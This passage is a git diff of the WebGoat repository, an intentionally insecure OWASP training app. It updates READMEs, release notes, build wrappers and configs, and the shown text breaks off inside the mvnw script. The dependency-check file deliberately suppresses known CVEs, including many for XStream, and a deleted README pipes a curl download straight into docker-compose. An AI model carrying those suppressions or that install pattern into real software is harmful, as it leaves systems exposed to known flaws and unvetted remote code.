+ +Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. \ No newline at end of file diff --git a/PULL_REQUEST_TEMPLATE.md b/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 000000000..f419c6ef6 --- /dev/null +++ b/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1 @@ +Thank you for submitting a pull request to the WebGoat! diff --git a/README.MD b/README.MD deleted file mode 100644 index 238f9231f..000000000 --- a/README.MD +++ /dev/null @@ -1,159 +0,0 @@ -# WebGoat 8: A deliberately insecure Web Application - -[![Build Status](https://travis-ci.org/WebGoat/WebGoat.svg?branch=develop)](https://travis-ci.org/WebGoat/WebGoat) -[![Coverage Status](https://coveralls.io/repos/WebGoat/WebGoat/badge.svg?branch=develop&service=github)](https://coveralls.io/github/WebGoat/WebGoat?branch=master) -[![Codacy Badge](https://api.codacy.com/project/badge/b69ee3a86e3b4afcaf993f210fccfb1d)](https://www.codacy.com/app/dm/WebGoat) -[![Dependency Status](https://www.versioneye.com/user/projects/562da95ae346d7000e0369aa/badge.svg?style=flat)](https://www.versioneye.com/user/projects/562da95ae346d7000e0369aa) -[![OWASP Labs](https://img.shields.io/badge/owasp-lab%20project-f7b73c.svg)](https://www.owasp.org/index.php/OWASP_Project_Inventory#tab=Labs_Projects) -[![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest) - -# Introduction - -WebGoat is a deliberately insecure web application maintained by [OWASP](http://www.owasp.org/) designed to teach web -application security lessons. - -This program is a demonstration of common server-side application flaws. The -exercises are intended to be used by people to learn about application security and -penetration testing techniques. - -**WARNING 1:** *While running this program your machine will be extremely -vulnerable to attack. You should disconnect from the Internet while using -this program.* WebGoat's default configuration binds to localhost to minimize -the exposure. - -**WARNING 2:** *This program is for educational purposes only. If you attempt -these techniques without authorization, you are very likely to get caught. If -you are caught engaging in unauthorized hacking, most companies will fire you. -Claiming that you were doing security research will not work as that is the -first thing that all hackers claim.* - -# Run Instructions: - -## 1. Standalone - -Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases) - -```Shell -java -jar webgoat-server-8.0.0.VERSION.jar [--server.port=8080] [--server.address=localhost] -``` - -By default WebGoat starts on port 8080 with `--server.port` you can specify a different port. With `server.address` you -can bind it to a different address (default localhost) - -If you use Java 9 or higher you need to run WebGoat as follows: - -```Shell -java --add-modules java.xml.bind -jar webgoat-server-8.0.0.VERSION.jar -``` - -## 2. Run using Docker - -Every release is also published on [DockerHub]((https://hub.docker.com/r/webgoat/webgoat-8.0/)). - -### Using docker-compose - -The easiest way to start WebGoat as a Docker container is to use the `docker-compose.yml` [file](https://raw.githubusercontent.com/WebGoat/WebGoat/develop/docker-compose.yml) -from our Github repository. This will start both containers and it also takes care of setting up the -connection between WebGoat and WebWolf. - -```shell -curl https://raw.githubusercontent.com/WebGoat/WebGoat/develop/docker-compose.yml | docker-compose -f - up -``` - -**Important**: the current directory on your host will be mapped into the container for keeping state. - -Using the `docker-compose` file will simplify getting WebGoat and WebWolf up and running. - - -## 3. Run from the sources - -### Prerequisites: - -* Java 8 -* Maven > 3.2.1 -* Your favorite IDE -* Git, or Git support in your IDE - -Open a command shell/window: - -```Shell -git clone git@github.com:WebGoat/WebGoat.git -``` - -Now let's start by compiling the project. - -```Shell -cd WebGoat -git checkout <> -mvn clean install -``` - -Now we are ready to run the project. WebGoat 8.x is using Spring-Boot. - -```Shell -mvn -pl webgoat-server spring-boot:run -``` -... you should be running webgoat on localhost:8080/WebGoat momentarily - - -To change IP address add the following variable to WebGoat/webgoat-container/src/main/resources/application.properties file - -``` -server.address=x.x.x.x -``` - -# Vagrant - -We supply a complete environment using Vagrant, to run WebGoat with Vagrant you must first have Vagrant and Virtualbox installed. - -```shell - $ cd WebGoat/webgoat-images/vagrant-training - $ vagrant up -``` - -Once the provisioning is complete login to the Virtualbox with username vagrant and password vagrant. -WebGoat and WebWolf will automatically start when you login to this image. - - -# Building a new Docker image - -NOTE: Travis will create a new Docker image automatically when making a new release. - -WebGoat now has Docker support for x86 and ARM (raspberry pi). -### Docker on x86 -On x86 you can build a container with the following commands: - -```Shell -cd WebGoat/ -mvn install -cd webgoat-server -docker build -t webgoat/webgoat-8.0 . -docker tag webgoat/webgoat-8.0 webgoat/webgoat-8.0:8.0 -docker login -docker push webgoat/webgoat-8.0 -``` - -### Docker on ARM (Raspberry Pi) -On a Raspberry Pi (it has yet been tested with a Raspberry Pi 3 and the hypriot Docker image) you need to build JFFI for -ARM first. This is needed by the docker-maven-plugin ([see here](https://github.com/spotify/docker-maven-plugin/issues/233)): - -```Shell -sudo apt-get install build-essential -git clone https://github.com/jnr/jffi.git -cd jffi -ant jar -cd build/jni -sudo cp libjffi-1.2.so /usr/lib -``` - -When you have done this you can build the Docker container using the following commands: - -```Shell -cd WebGoat/ -mvn install -cd webgoat-server -mvn docker:build -Drpi=true -docker tag webgoat/webgoat-8.0 webgoat/webgoat-8.0:8.0 -docker login -docker push webgoat/webgoat-8.0 -``` diff --git a/README.md b/README.md new file mode 100644 index 000000000..84391b8c6 --- /dev/null +++ b/README.md @@ -0,0 +1,136 @@ +# WebGoat 8: A deliberately insecure Web Application + +[![Build](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml/badge.svg?branch=develop)](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml) +[![java-jdk](https://img.shields.io/badge/java%20jdk-17-green.svg)](https://jdk.java.net/) +[![OWASP Labs](https://img.shields.io/badge/OWASP-Lab%20project-f7b73c.svg)](https://owasp.org/projects/) +[![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest) +[![Gitter](https://badges.gitter.im/OWASPWebGoat/community.svg)](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge) +[![Discussions](https://img.shields.io/github/discussions/WebGoat/WebGoat)](https://github.com/WebGoat/WebGoat/discussions) + +# Introduction + +WebGoat is a deliberately insecure web application maintained by [OWASP](http://www.owasp.org/) designed to teach web +application security lessons. + +This program is a demonstration of common server-side application flaws. The +exercises are intended to be used by people to learn about application security and +penetration testing techniques. + +**WARNING 1:** *While running this program your machine will be extremely +vulnerable to attack. You should disconnect from the Internet while using +this program.* WebGoat's default configuration binds to localhost to minimize +the exposure. + +**WARNING 2:** *This program is for educational purposes only. If you attempt +these techniques without authorization, you are very likely to get caught. If +you are caught engaging in unauthorized hacking, most companies will fire you. +Claiming that you were doing security research will not work as that is the +first thing that all hackers claim.* + +# Installation instructions: + +For more details check [the Contribution guide](/CONTRIBUTING.md) + +## 1. Run using Docker + +Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat). + +The easiest way to start WebGoat as a Docker container is to use the all-in-one docker container. This is a docker image that has WebGoat and WebWolf running inside. + +```shell +docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat +``` + +If you want to reuse the container, give it a name: + +```shell +docker run --name webgoat -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat +``` + +As long as you don't remove the container you can use: + +```shell +docker start webgoat +``` + +This way, you can start where you left off. If you remove the container, you need to use `docker run` again. + +**Important**: *Choose the correct timezone, so that the docker container and your host are in the same timezone. As it is important for the validity of JWT tokens used in certain exercises.* + +## 2. Standalone + +Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases) + +```shell +java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-2023.3.jar +``` + +Click the link in the log to start WebGoat. + +## 3. Run from the sources + +### Prerequisites: + +* Java 17 +* Your favorite IDE +* Git, or Git support in your IDE + +Open a command shell/window: + +```Shell +git clone git@github.com:WebGoat/WebGoat.git +``` + +Now let's start by compiling the project. + +```Shell +cd WebGoat +git checkout <> +# On Linux/Mac: +./mvnw clean install + +# On Windows: +./mvnw.cmd clean install + +# Using docker or podman, you can than build the container locally +docker build -f Dockerfile . -t webgoat/webgoat +``` + +Now we are ready to run the project. WebGoat 8.x is using Spring-Boot. + +```Shell +# On Linux/Mac: +./mvnw spring-boot:run +# On Windows: +./mvnw.cmd spring-boot:run + +``` + +... you should be running WebGoat on http://localhost:8080/WebGoat momentarily. + +Note: The above link will redirect you to login page if you are not logged in. LogIn/Create account to proceed. + +To change the IP address add the following variable to the `WebGoat/webgoat-container/src/main/resources/application.properties` file: + +``` +server.address=x.x.x.x +``` + +## 4. Run with custom menu + +For specialist only. There is a way to set up WebGoat with a personalized menu. You can leave out some menu categories or individual lessons by setting certain environment variables. + +For instance running as a jar on a Linux/macOS it will look like this: + +```Shell +export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" +export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" +java -jar target/webgoat-2023.3-SNAPSHOT.jar +``` + +Or in a docker run it would (once this version is pushed into docker hub) look like this: + +```Shell +docker run -d -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat +``` + diff --git a/README_I18N.md b/README_I18N.md new file mode 100644 index 000000000..6a4769f1e --- /dev/null +++ b/README_I18N.md @@ -0,0 +1,34 @@ +# Multi language support in WebGoat + +WebGoat is mainly written in English, but it does support multiple languages. + +## Default language selection + +1. Current supported languages are: en, fr, de, nl +2. The primary language is based on the language setting of the browser. +3. If the language is not in the list of supported language, the language is English +4. Once logged in, you can switch between the supported languages using a language dropdown menu on the main page + 1. After switching a language you are back at the Introduction page + +## Adding a new language + +The following steps are required when you want to add a new language + +1. Update [main_new.html](src/main/resources/webgoat/static/main_new.html) + 1. Add the parts for showing the flag and providing the correct value for the flag= parameter +2. +3. Add a flag image to src/main/resources/webgoat/static/css/img + 1. See the main_new.html for a link to download flag resources +4. Add a welcome page to the introduction lesson + 1. Copy Introduction_.adoc to Introduction_es.adoc (if in this case you want to add Spanish) + 2. Add a highlighted section that explains that most parts of WebGoat will still be in English and invite people to translate parts where it would be valuable +5. Translate the main labels + 1. Copy messages.properties to messages_es.properties (if in this case you want to add Spanish) + 2. Translate the label values +6. Optionally translate lessons by + 1. Adding lang specifc adoc files in documentation folder of the lesson + 2. Adding WebGoatLabels.properties of a specific language if you want to +7. Run mvn clean to see if the LabelAndHintIntegration test passes +8. Run WebGoat and verify that your own language and the other languages work as expected + +If you only want to translate more for a certain language, you only need to do step 4-8 diff --git a/RELEASE_NOTES.md b/RELEASE_NOTES.md new file mode 100644 index 000000000..44ad88e44 --- /dev/null +++ b/RELEASE_NOTES.md @@ -0,0 +1,150 @@ +# WebGoat release notes + +## Version 2023.3 + +With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began to use a new versioning scheme (https://calver.org/#scheme). + +A big thanks to René Zubcevic and Àngel Ollé Blázquez for keeping the project alive this last year, and hopefully, we can make +many more releases this year. + +### New functionality + +- New year's resolution(2022): major refactoring of WebGoat to simplify the setup and improve building times. +- Move away from multi-project setup: + * This has a huge performance benefit when building the application. Build time locally is now `Total time: 42.469 s` (depends on your local machine of course) + * No longer add Maven dependencies in several places + * H2 no longer needs to run as separate process, which solves the issue of WebWolf sharing and needing to configure the correct database connection. +- More explicit paths in html files to reference `adoc` files, less magic. +- Integrate WebWolf in WebGoat, the setup was way too complicated and needed configuration which could lead to mistakes and a not working application. This also simplifies the Docker configuration as there is only 1 Docker image. +- Add WebWolf button in WebGoat +- Move all lessons into `src/main/resources` +- WebGoat selects a port dynamically when starting. It will still start of port 8080 it will try another port to ease the user experience. +- WebGoat logs URL after startup: `Please browse to http://127.0.0.1:8080/WebGoat to get started...` +- Simplify `Dockerfile` as we no longer need a script to start everything +- Maven build now start WebGoat jar with Maven plugin to make sure we run against the latest build. +- Added `Initializable` interface for a lesson, an assignment can implement this interface to set it up for a specific user and to reset the assignment back to its original state when a reset lesson occurs. See `BlindSendFileAssignment` for an example. +- Integration tests now use the same user. This saves a lot of time as before every test used a different user which triggered the Flyway migration to set up the database schema for the user. This migration took a lot of time. +- Updated introduction lesson to WebWolf. +- Added language switch for support for multiple languages. +- Removed logic to start WebGoat on a random port when port `8080` is taken. We would loop until we found a free port. We simplified this to just start on the specified port. +- Add Google formatter for all our code, a PR now checks whether the code adheres to the standard. +- Renaming of all packages and folders. +- [#1039 New OWASP Top 10](https://github.com/WebGoat/WebGoat/issues/1093) +- [#1065 New lesson about logging](https://github.com/WebGoat/WebGoat/issues/1065) + +### Bug fixes + +- [#1193 Vulnerable component lesson - java.desktop does not "opens java.beans" to unnamed module](https://github.com/WebGoat/WebGoat/issues/1193) +- [#1176 Minor: XXE lesson 12 patch not reset by 'lesson reset' while it IS reset by leaving/returning to lesson](https://github.com/WebGoat/WebGoat/issues/1176) +- [#1134 "Exploiting XStream" assignment does not work](https://github.com/WebGoat/WebGoat/issues/1134) +- [#1130 Typo: Using Indrect References](https://github.com/WebGoat/WebGoat/issues/1130) +- [#1101 SQL lesson not correct](https://github.com/WebGoat/WebGoat/issues/1101) +- [#1079 startup.sh issues of WebWolf - cannot connect to the WebGoat DB](https://github.com/WebGoat/WebGoat/issues/1079) +- [#1379 Move XXE to A05:2021-_Security_ Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379) +- [#1298 SocketUtils is deprecated and will be removed in Spring Security 6](https://github.com/WebGoat/WebGoat/issues/1298) +- [#1248 Rewrite the WebWolf Introduction Lesson with the new changes](https://github.com/WebGoat/WebGoat/issues/1248) +- [#1200 Type cast error in sample code at JWT token section](https://github.com/WebGoat/WebGoat/issues/1200) +- [#1173 --server.port=9000 is not respected on Windows (both cmd as Powershell)](https://github.com/WebGoat/WebGoat/issues/1173) +- [#1103 (A1) path traversel lesson 7 seems broken](https://github.com/WebGoat/WebGoat/issues/1103) +- [#986 - User registration not persistant](https://github.com/WebGoat/WebGoat/issues/986) + +## Version 8.2.2 + +### New functionality + +- Docker image now supports nginx when browsing to http://localhost a landing page is shown. + +### Bug fixes + +- [#1039 jwt-7-Code review](https://github.com/WebGoat/WebGoat/issues/1039) +- [#1031 SQL Injection (intro) 5: Data Control Language (DCL) the wiki's solution is not correct](https://github.com/WebGoat/WebGoat/issues/1031) +- [#1027 Webgoat 8.2.1 Vulnerable_Components_12 Shows internal server error](https://github.com/WebGoat/WebGoat/issues/1027) + +## Version 8.2.1 + +### New functionality + +- New Docker image for arm64 architecture is now available (for Apple M1) + +## Version 8.2.0 + +### New functionality + +- Add new zip slip lesson (part of path traversal) +- SQL lessons are now separate for each user, database are now per user and no longer shared across users +- Moved to Java 15 & Spring Boot 2.4 & moved to JUnit 5 + +### Bug fixes + +- [#974 SQL injection Intro 5 not solvable](https://github.com/WebGoat/WebGoat/issues/974) +- [#962 SQL-Lesson 5 (Advanced) Solvable with wrong anwser](https://github.com/WebGoat/WebGoat/issues/962) +- [#961 SQl-Injection lesson 4 not deleting created row](https://github.com/WebGoat/WebGoat/issues/961) +- [#949 Challenge: Admin password reset always solvable](https://github.com/WebGoat/WebGoat/issues/949) +- [#923 - Upgrade to Java 15](https://github.com/WebGoat/WebGoat/issues/923) +- [#922 - Vulnerable components lesson](https://github.com/WebGoat/WebGoat/issues/922) +- [#891 - Update the OWASP website with the new all-in-one Docker container](https://github.com/WebGoat/WebGoat/issues/891) +- [#844 - Suggestion: Update navigation](https://github.com/WebGoat/WebGoat/issues/844) +- [#843 - Bypass front-end restrictions: Field restrictions - confusing text in form](https://github.com/WebGoat/WebGoat/issues/843) +- [#841 - XSS - Reflected XSS confusing instruction and success messages](https://github.com/WebGoat/WebGoat/issues/841) +- [#839 - SQL Injection (mitigation) Order by clause confusing](https://github.com/WebGoat/WebGoat/issues/839) +- [#838 - SQL mitigation (filtering) can only be passed by updating table](https://github.com/WebGoat/WebGoat/issues/838) + +## Contributors + +Special thanks to the following contributors providing us with a pull request: + +- nicholas-quirk +- VijoPlays +- aolle +- trollingHeifer +- maximmasiutin +- toshihue +- avivmu +- KellyMarchewa +- NatasG +- gabe-sky + +## Version 8.1.0 + +### New functionality + +- Added new lessons for cryptography and path-traversal +- Extra content added to the XXE lesson +- Explanation of the assignments will be part of WebGoat, in this release we added detailed descriptions on how to solve the XXE lesson. In the upcoming releases new explanations will be added. If you want to contribute please create a pull request on Github. +- Docker improvements + docker stack for complete container with nginx +- Included JWT token decoding and generation, since jwt.io does not support None anymore + +### Bug fixes + +- [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743) +- [#811 - Flag submission fails](https://github.com/WebGoat/WebGoat/issues/811) +- [#810 - Scoreboard for challenges shows csrf users](https://github.com/WebGoat/WebGoat/issues/810) +- [#788 - strange copy in constructor](https://github.com/WebGoat/WebGoat/issues/788) +- [#760 - Execution of standalone jar fails (Flyway migration step](https://github.com/WebGoat/WebGoat/issues/760) +- [#766 - Unclear objective of vulnerable components practical assignment](https://github.com/WebGoat/WebGoat/issues/766) +- [#708 - Seems like the home directory of WebGoat always use @project.version@](https://github.com/WebGoat/WebGoat/issues/708) +- [#719 - WebGoat: 'Contact Us' email link in header is not correctly set](https://github.com/WebGoat/WebGoat/issues/719) +- [#715 - Reset lesson doesn't reset the "HTML lesson" => forms stay succesful](https://github.com/WebGoat/WebGoat/issues/715) +- [#725 - Vulnerable Components lesson 12 broken due to too new dependency](https://github.com/WebGoat/WebGoat/issues/725) +- [#716 - On M26 @project.version@ is not "interpreted" #7](https://github.com/WebGoat/WebGoat/issues/716) +- [#721 couldn't be able to run CSRF lesson 3: Receive Whitelabel Error Page](https://github.com/WebGoat/WebGoat/issues/721) +- [#724 - Dead link in VulnerableComponents lesson 11](https://github.com/WebGoat/WebGoat/issues/724) + +## Contributors + +Special thanks to the following contributors providing us with a pull request: + +- Satoshi SAKAO +- Philippe Lafoucrière +- Cotonne +- Tiago Mussi +- thegoodcrumpets +- Atharva Vaidya +- torleif +- August Detlefsen +- Choe Hyeong Jin + +And everyone who provided feedback through Github. + +Team WebGoat + diff --git a/buildspec.yml b/buildspec.yml deleted file mode 100644 index 477440e02..000000000 --- a/buildspec.yml +++ /dev/null @@ -1,12 +0,0 @@ -version: 0.1 - -phases: - build: - commands: - - mvn package - -artifacts: - files: - - webgoat-server/target/webgoat-server-8.0-SNAPSHOT.jar - discard-paths: yes - diff --git a/config/checkstyle/checkstyle.xml b/config/checkstyle/checkstyle.xml new file mode 100755 index 000000000..8ba0622f5 --- /dev/null +++ b/config/checkstyle/checkstyle.xml @@ -0,0 +1,259 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/config/checkstyle/suppressions.xml b/config/checkstyle/suppressions.xml new file mode 100644 index 000000000..6ce36f4e1 --- /dev/null +++ b/config/checkstyle/suppressions.xml @@ -0,0 +1,11 @@ + + + + + + + + + \ No newline at end of file diff --git a/config/dependency-check/project-suppression.xml b/config/dependency-check/project-suppression.xml new file mode 100644 index 000000000..7df811240 --- /dev/null +++ b/config/dependency-check/project-suppression.xml @@ -0,0 +1,77 @@ + + + + + 7 + + + + 13f4f564024d2f85502c151942307c3ca851a4f7 + CVE-2016-1000027 + + + + ^pkg:maven/org\.springframework/spring\-core@.*$ + CVE-2016-1000027 + + + + ^pkg:maven/org\.springframework/spring\-aop@.*$ + CVE-2016-1000027 + + + + ^pkg:maven/org\.springframework\.boot/spring\-boot\-starter\-security@.*$ + CVE-2022-22978 + + + + ^pkg:maven/rubygems/jruby\-openssl@.*$ + cpe:/a:jruby:jruby + cpe:/a:openssl:openssl + + + + ^pkg:maven/com\.thoughtworks\.xstream/xstream@.*$ + cpe:/a:xstream_project:xstream + CVE-2013-7285 + CVE-2016-3674 + CVE-2017-7957 + CVE-2020-26217 + CVE-2020-26258 + CVE-2020-26259 + CVE-2021-21341 + CVE-2021-21342 + CVE-2021-21343 + CVE-2021-21344 + CVE-2021-21345 + CVE-2021-21346 + CVE-2021-21347 + CVE-2021-21348 + CVE-2021-21349 + CVE-2021-21350 + CVE-2021-21351 + CVE-2021-43859 + + + + ^pkg:maven/org\.springframework/spring\-.*@.*$ + CVE-2016-1000027 + + diff --git a/docker-compose-local.yml b/docker-compose-local.yml deleted file mode 100644 index d94544473..000000000 --- a/docker-compose-local.yml +++ /dev/null @@ -1,13 +0,0 @@ -version: '2.1' - -services: - webgoat: - image: webgoat/webgoat-v8.0.0.snapshot - extends: - file: docker-compose.yml - service: webgoat - webwolf: - extends: - file: docker-compose.yml - service: webwolf - image: webgoat/webwolf-v8.0.0.snapshot \ No newline at end of file diff --git a/docker-compose-postgres.yml b/docker-compose-postgres.yml deleted file mode 100644 index 56c9a707c..000000000 --- a/docker-compose-postgres.yml +++ /dev/null @@ -1,41 +0,0 @@ -version: '2.0' - -services: - webgoat: - image: webgoat/webgoat-8.0 - user: webgoat - environment: - - WEBWOLF_HOST=webwolf - - WEBWOLF_PORT=9090 - - spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat - - spring.datasource.username=webgoat - - spring.datasource.password=webgoat - - spring.datasource.driver-class-name=org.postgresql.Driver - - spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL94Dialect - - webgoat.server.directory=/home/webgoat/.webgoat/ - - webgoat.user.directory=/home/webgoat/.webgoat/ - ports: - - "8080:8080" - webwolf: - image: webgoat/webwolf - environment: - - spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat - - spring.datasource.username=webgoat - - spring.datasource.password=webgoat - - spring.datasource.driver-class-name=org.postgresql.Driver - - spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL94Dialect - ports: - - "9090:9090" - db: - container_name: webgoat_db - image: postgres:latest -# Uncomment to store the state of the database on the host. -# volumes: -# - ./database:/var/lib/postgresql - environment: - - POSTGRES_PASSWORD=webgoat - - POSTGRES_USER=webgoat - - POSTGRES_DB=webgoat - ports: - - "5432:5432" - diff --git a/docker-compose.yml b/docker-compose.yml deleted file mode 100644 index 27262211d..000000000 --- a/docker-compose.yml +++ /dev/null @@ -1,18 +0,0 @@ -version: '2.1' - -services: - webgoat: - image: webgoat/webgoat-8.0 - environment: - - WEBWOLF_HOST=webwolf - - WEBWOLF_PORT=9090 - ports: - - "8080:8080" - volumes: - - .:/home/webgoat/.webgoat - command: "java -Djava.security.egd=file:/dev/./urandom -jar /home/webgoat/webgoat.jar --server.port=8080 --server.address=0.0.0.0" - webwolf: - image: webgoat/webwolf - ports: - - "9090:9090" - command: bash -c "sleep 8 && java -Djava.security.egd=file:/dev/./urandom -jar /home/webwolf/webwolf.jar --server.port=9090 --server.address=0.0.0.0 --spring.datasource.url=jdbc:hsqldb:hsql://webgoat:9001/webgoat" diff --git a/docs/README.md b/docs/README.md new file mode 100644 index 000000000..6f0484341 --- /dev/null +++ b/docs/README.md @@ -0,0 +1,4 @@ +# WebGoat landing page + +Old GitHub page which now redirects to OWASP website. + diff --git a/docs/index.html b/docs/index.html new file mode 100644 index 000000000..78d11aff2 --- /dev/null +++ b/docs/index.html @@ -0,0 +1,14 @@ + + + + + + + + + +

+ The page been moved to https://owasp.org/www-project-webgoat/ +

+ + \ No newline at end of file diff --git a/mvn-debug b/mvn-debug index 066900f60..422467b12 100755 --- a/mvn-debug +++ b/mvn-debug @@ -1,2 +1,2 @@ export MAVEN_OPTS="-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000" -mvn $@ +./mvnw $@ diff --git a/mvnw b/mvnw new file mode 100755 index 000000000..d2f0ea380 --- /dev/null +++ b/mvnw @@ -0,0 +1,310 @@ +#!/bin/sh +# ---------------------------------------------------------------------------- +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# ---------------------------------------------------------------------------- + +# ---------------------------------------------------------------------------- +# Maven2 Start Up Batch script +# +# Required ENV vars: +# ------------------ +# JAVA_HOME - location of a JDK home dir +# +# Optional ENV vars +# ----------------- +# M2_HOME - location of maven2's installed home dir +# MAVEN_OPTS - parameters passed to the Java VM when running Maven +# e.g. to debug Maven itself, use +# set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 +# MAVEN_SKIP_RC - flag to disable loading of mavenrc files +# ---------------------------------------------------------------------------- + +if [ -z "$MAVEN_SKIP_RC" ] ; then + + if [ -f /etc/mavenrc ] ; then + . /etc/mavenrc + fi + + if [ -f "$HOME/.mavenrc" ] ; then + . "$HOME/.mavenrc" + fi + +fi + +# OS specific support. $var _must_ be set to either true or false. +cygwin=false; +darwin=false; +mingw=false +case "`uname`" in + CYGWIN*) cygwin=true ;; + MINGW*) mingw=true;; + Darwin*) darwin=true + # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home + # See https://developer.apple.com/library/mac/qa/qa1170/_index.html + if [ -z "$JAVA_HOME" ]; then + if [ -x "/usr/libexec/java_home" ]; then + export JAVA_HOME="`/usr/libexec/java_home`" + else + export JAVA_HOME="/Library/Java/Home" + fi + fi + ;; +esac + +if [ -z "$JAVA_HOME" ] ; then + if [ -r /etc/gentoo-release ] ; then + JAVA_HOME=`java-config --jre-home` + fi +fi + +if [ -z "$M2_HOME" ] ; then + ## resolve links - $0 may be a link to maven's home + PRG="$0" + + # need this for relative symlinks + while [ -h "$PRG" ] ; do + ls=`ls -ld "$PRG"` + link=`expr "$ls" : '.*-> \(.*\)$'` + if expr "$link" : '/.*' > /dev/null; then + PRG="$link" + else + PRG="`dirname "$PRG"`/$link" + fi + done + + saveddir=`pwd` + + M2_HOME=`dirname "$PRG"`/.. + + # make it fully qualified + M2_HOME=`cd "$M2_HOME" && pwd` + + cd "$saveddir" + # echo Using m2 at $M2_HOME +fi + +# For Cygwin, ensure paths are in UNIX format before anything is touched +if $cygwin ; then + [ -n "$M2_HOME" ] && + M2_HOME=`cygpath --unix "$M2_HOME"` + [ -n "$JAVA_HOME" ] && + JAVA_HOME=`cygpath --unix "$JAVA_HOME"` + [ -n "$CLASSPATH" ] && + CLASSPATH=`cygpath --path --unix "$CLASSPATH"` +fi + +# For Mingw, ensure paths are in UNIX format before anything is touched +if $mingw ; then + [ -n "$M2_HOME" ] && + M2_HOME="`(cd "$M2_HOME"; pwd)`" + [ -n "$JAVA_HOME" ] && + JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`" +fi + +if [ -z "$JAVA_HOME" ]; then + javaExecutable="`which javac`" + if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then + # readlink(1) is not available as standard on Solaris 10. + readLink=`which readlink` + if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then + if $darwin ; then + javaHome="`dirname \"$javaExecutable\"`" + javaExecutable="`cd \"$javaHome\" && pwd -P`/javac" + else + javaExecutable="`readlink -f \"$javaExecutable\"`" + fi + javaHome="`dirname \"$javaExecutable\"`" + javaHome=`expr "$javaHome" : '\(.*\)/bin'` + JAVA_HOME="$javaHome" + export JAVA_HOME + fi + fi +fi + +if [ -z "$JAVACMD" ] ; then + if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD="$JAVA_HOME/jre/sh/java" + else + JAVACMD="$JAVA_HOME/bin/java" + fi + else + JAVACMD="`which java`" + fi +fi + +if [ ! -x "$JAVACMD" ] ; then + echo "Error: JAVA_HOME is not defined correctly." >&2 + echo " We cannot execute $JAVACMD" >&2 + exit 1 +fi + +if [ -z "$JAVA_HOME" ] ; then + echo "Warning: JAVA_HOME environment variable is not set." +fi + +CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher + +# traverses directory structure from process work directory to filesystem root +# first directory with .mvn subdirectory is considered project base directory +find_maven_basedir() { + + if [ -z "$1" ] + then + echo "Path not specified to find_maven_basedir" + return 1 + fi + + basedir="$1" + wdir="$1" + while [ "$wdir" != '/' ] ; do + if [ -d "$wdir"/.mvn ] ; then + basedir=$wdir + break + fi + # workaround for JBEAP-8937 (on Solaris 10/Sparc) + if [ -d "${wdir}" ]; then + wdir=`cd "$wdir/.."; pwd` + fi + # end of workaround + done + echo "${basedir}" +} + +# concatenates all lines of a file +concat_lines() { + if [ -f "$1" ]; then + echo "$(tr -s '\n' ' ' < "$1")" + fi +} + +BASE_DIR=`find_maven_basedir "$(pwd)"` +if [ -z "$BASE_DIR" ]; then + exit 1; +fi + +########################################################################################## +# Extension to allow automatically downloading the maven-wrapper.jar from Maven-central +# This allows using the maven 